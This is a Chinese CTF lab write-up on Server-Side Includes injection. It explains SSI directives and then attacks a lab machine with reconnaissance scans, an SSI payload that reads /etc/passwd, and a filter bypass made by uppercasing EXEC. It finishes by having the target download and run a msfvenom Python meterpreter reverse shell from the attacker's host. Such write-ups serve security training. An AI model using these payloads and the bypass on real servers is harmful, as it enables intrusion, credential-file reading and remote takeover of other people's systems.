CTF靶场训练-SSI注入

Background

SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于 CGI,用于动态页面的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。
SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。

简介

  SSI常见于shtml页面中,shtml是标准通用标记语言下的一个应用,包含有嵌入式服务器方包含命令的文本,在被传送给浏览器之前,服务器会对SHTML文档进行完全地读取、分析以及修改。
  shtml和asp 有一些相似,以shtml命名的文件里,使用了ssi的一些指令,就像asp中的指令,你可以在SHTML文件中写入SSI指令,当客户端访问这些shtml文件时,服务器端会把这些SHTML文件进行读取和解释,把SHTML文件中包含的SSI指令解释出来。

主要用途

  1. 显示服务器端环境变量<#echo>

    1
    2
    3
    4
    5
    本文档名称:<!–#echo var="DOCUMENT_NAME"–>

    现在时间:<!–#echo var="DATE_LOCAL"–>

    显示IP地址:<! #echo var="REMOTE_ADDR"–>
  2. 将文本内容直接插入到文档中<#include>

    1
    2
    3
    4
    5
    6
    7
    <! #include file="文件名称"–>

    <!--#include virtual="index.html" -->

    <! #include virtual="文件名称"–>

    <!--#include virtual="/www/footer.html" -->
  3. 显示WEB文档相关信息<#flastmod #fsize> (如文件制作日期/大小等)

    1
    2
    3
    文件最近更新日期:<! #flastmod file="文件名称"–>

    文件的长度:<!–#fsize file="文件名称"–>
  4. 直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)

    1
    2
    3
    4
    5
    6
    7
    <!–#exec cmd="文件名称"–>

    <!--#exec cmd="cat /etc/passwd"-->

    <!–#exec cgi="文件名称"–>

    <!--#exec cgi="/cgi-bin/access_log.cgi"–>
  5. 设置SSI信息显示格式<#config>(如文件制作日期/大小显示方式) 高级SSI可设置变量使用if条件语句。

注入命令参考:(https://www.owasp.org/index.php/Server-Side_Includes_(SSI)_Injection)

靶场实例

攻击者:192.168.43.44
靶机:192.168.43.64

信息收集

nmap -sV 192.168.43.64 扫描该靶机开放的服务
image
扫描到靶机开放了http服务

浏览器访问该站点
image

dirb、nikto扫描网站目录文件
image
image

查看robots.txt
image
访问/spukcab文件夹
image
下载配置文件,并查看
image

发现网站根目录:/var/www/html/convert.me/public_html

查看index.shtml文件
image
这可能是提示信息,用这条命令查看用户密码文件

漏洞发现

在index.php页面有一个表单
image
用于提交一个IP和反馈的意见(或信息),并转递到receipt.php页面,并最终跳转到receipt.shtml
image

尝试输入提示的ssi命令

1
<--#exec cmd="cat /etc/passwd" -->

image
发现feedback参数值过滤了exec

转换大小写(这里其实ssi命令–前要加!)

1
<!--#EXEC cmd="cat /etc/passwd" -->

image
成功执行

漏洞利用

上传webshell获取权限

先生成webshell,IP为攻击者IP

1
root@kali:~# msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.43.44 lport=4444 -f raw > test/shellcode.py

msf启动监听

1
2
3
4
5
6
msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload python/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show options
msf5 exploit(multi/handler) > set lhost 192.168.43.44
msf5 exploit(multi/handler) > show options
msf5 exploit(multi/handler) > run

利用ssi注入漏洞让靶机下载shellcode

攻击者机器Kali开启apache服务,将shellcode.py拷贝到/var/www/html/

1
2
3
4
5
root@kali:~# cp test/shellcode.py /var/www/html/
root@kali:~# ls /var/www/html/
hack.js index.html shellcode.py whoami.exe
root@kali:~# service apache2 start
root@kali:~# service apache2 status

靶机下载shellcode

1
<!--#EXEC cmd="wget http://192.168.43.44/shellcode.py" -->

image

提升shellcode.py可执行权限

1
<!--#EXEC cmd="chmod 777 shellcode.py" -->

运行shellcode脚本

1
<!--#EXEC cmd="python shellcode.py" -->

运行之后,返回msf查看监听的端口
image

发现已经成功连接靶机

查看系统信息
image

进入系统shell
image